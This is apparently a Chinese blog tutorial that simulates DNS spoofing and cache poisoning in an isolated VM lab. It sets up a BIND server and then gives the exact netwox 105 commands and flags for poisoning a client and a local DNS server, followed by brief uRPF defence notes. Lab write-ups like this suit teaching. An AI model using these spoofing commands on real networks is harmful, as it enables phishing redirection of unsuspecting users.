HCIE安全(4)——模拟DNS缓存毒化攻击

钓鱼网站本地DOS攻击

一、当我们在浏览器中输入www.baidu.com,敲击回车后,电脑都做了什么?
1、解析输入的URL
2、进行DNS查询
2.1、查询本地浏览器的DNS缓存

chrome://net-internals/#dns     查看谷歌浏览器本地DNS缓存 
firefox: about:config           查看火狐浏览器本地DNS缓存
2.2、查看本地hosts文件
C:\Windows\System32\drivers\etc\hosts     windows下hosts文件所在路径
/etc/hosts                                Linux下hosts文件所在路径
2.3、查询本地的DNS服务器

上述2.1–2.3查询步骤属于递归查询。

2.4、如果本地DNS服务器不能解析,则向根服务器发起请求;根服务器会查看URL的顶级域,并向本地 的DNS服务器返回com顶级域对应的地址;接着本地DNS服务器会向顶级域的DNS server发起请求,.com的这个顶级域DNS server会接着向本地DNS服务器返回baidu.com域的地址;接着本地DNS服务器会接着想baidu.com域DNS server发起请求……,直到找到需要进行解析的域名www.baidu.com所对应的IP地址,再将查找结果返回给本地DNS服务器。

上述2.4查询步骤属于迭代查询过程。

3、浏览器获取到了www.baidu.com对应的IP地址后,两者之间进行三次握手,协商相应参数并建立连接。
4、浏览器向server发起get请求,服务器返回相应请求后并四次分手后断开连接。

二、为什么攻击者能够通过DNS协议钓鱼
DNS欺骗示意图:
在这里插入图片描述

DNS毒化示意图:
在这里插入图片描述
三、攻击环境模拟
1、虚拟机各个主机地址,所有虚拟机设备处于仅主机模式下

攻击者:172.24.8.129
DNS服务器:172.24.8.103
web服务器:172.24.8.134
普通用户:172.24.8.253

2、DNS服务器配置(使用Linux8.2作为DNS服务器)
2.1、关闭防火墙和selinux

[root@jing ~]# systemctl stop firewalld
[root@jing ~]# setenforce 0
[root@jing ~]# getenforce 
Permissive
[root@jing ~]# 

2.2、下载DNS服务端

[root@jing ~]# yum install -y bind

2.3、修改主配置文件/etc/named.conf
在对主配置文件修改的时候最好先做备份

[root@jing ~]# cp /etc/named.conf{,.bak}     //对主配置文件做备份
[root@jing ~]# vim /etc/named.conf
options {
        listen-on port 53 {172.24.8.103;};
        directory     "/var/named";
};

zone "qq.com" IN {
        type master;
        file "named.qq.com";
};
zone "8.24.172.in-addr.arpa" IN{
        type master;
        file "named.172.24.8";
};

2.4、配合区域文件

[root@jing ~]# cd /var/named
[root@jing named]# vim named.qq.com 
$TTL 1D
@       IN      SOA     ns.qq.com.      admin.qq.com.(
                                                        0
                                                        1D
                                                        1H
                                                        1W
                                                        3H)
        IN      NS      ns.qq.com.
        IN      MX      6  mail.qq.com.
admin   IN      A       172.24.8.134
ns      IN      A       172.24.8.134
mail    IN      A       172.24.8.134
[root@jing named]# vim named.172.24.8 
$TTL 1D
@       IN      SOA     ns.qq.com    admin.qq.com. (
                                0
                                1D
                                1H
                                1W
                                3H )
        IN      NS      ns.qq.com.
134     IN      PTR     ns.qq.com.
134     IN      PTR     www.qq.com.
134     IN      PTR     mail.qq.com.

2.5、检查语法

root@jing named]# named-checkconf 
[root@jing named]# named-checkzone "qq.com" /var/named/named.qq.com
zone qq.com/IN: loaded serial 0
OK
[root@jing named]# named-checkzone "8.24.172.in-addr.arpa" /var/named/named.172.24.8
zone 8.24.172.in-addr.arpa/IN: loaded serial 0
OK
[root@jing named]# 

2.6、重启DNS服务

[root@jing named]#systemctl restart named

2.7、测试

[root@jing named]# nslookup ns.qq.com 172.24.8.103
Server:		172.24.8.103
Address:	172.24.8.103#53

Name:	ns.qq.com
Address: 172.24.8.134

[root@jing named]# nslookup 172.24.8.134 172.24.8.103
134.8.24.172.in-addr.arpa	name = www.qq.com.
134.8.24.172.in-addr.arpa	name = mail.qq.com.
134.8.24.172.in-addr.arpa	name = ns.qq.com.

3、web服务器配置,直接使用靶机Metasploitable2作为目标服务器
测试:
在这里插入图片描述
4、客户端配置,私用windows2003作为普通用户
配置其DNS服务器为172.24.8.103
在这里插入图片描述
在这里插入图片描述
5、攻击前进行测试,访问www.zhihu.com
在这里插入图片描述

6、攻击者kali进行攻击
使用netwox的105号程序进行攻击

kali@kali:~$ sudo netwox 105 -h "www.zhihu.com" -H "172.24.8.134"  -a "ns.qq.com"  -A "172.24.8.134" -d eth0

-h : 要毒化的域名
-H: 仿冒该毒化域名的服务器IP
-a:本地DNS服务器中映射的域名
-A:本地DNS服务器中映射的IP
-d:发送的接口

7、在受害者主机再次访问www.zhuhu.com进行测试
在这里插入图片描述
查看缓存ifconfig/displaydns
在这里插入图片描述
8、现在我们不欺骗用户主机了,我们可以来欺骗一下本地的DNS server,让DNS缓存中毒

kali@kali:~$ sudo netwox 105 -h "www.zhihu.com" -H "172.24.8.103"  -a "ns.qq.com"  -A "172.24.8.103" -d eth0

在受害者主机端查看www.zhihu.com对应的IP
在这里插入图片描述
使用ifconfig/flushdns清理dns缓存
然后使用ipconfig/displaydns查看缓存:
在这里插入图片描述
四、如何防御DNS攻击
1、平时注意不要相信陌生人的电话
2、技术层面的URPF防御
URPF可以有效的针对地址欺骗类的攻击,严格模式有 2 个条件,只有同时满足两个条件的报文,才会被检测通过.
条件 1:在路由器转发表中,存在去往报文源地址的路由信息.
条件 2:报文的入接口与转发表中去往源地址路由的出接口一致.

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值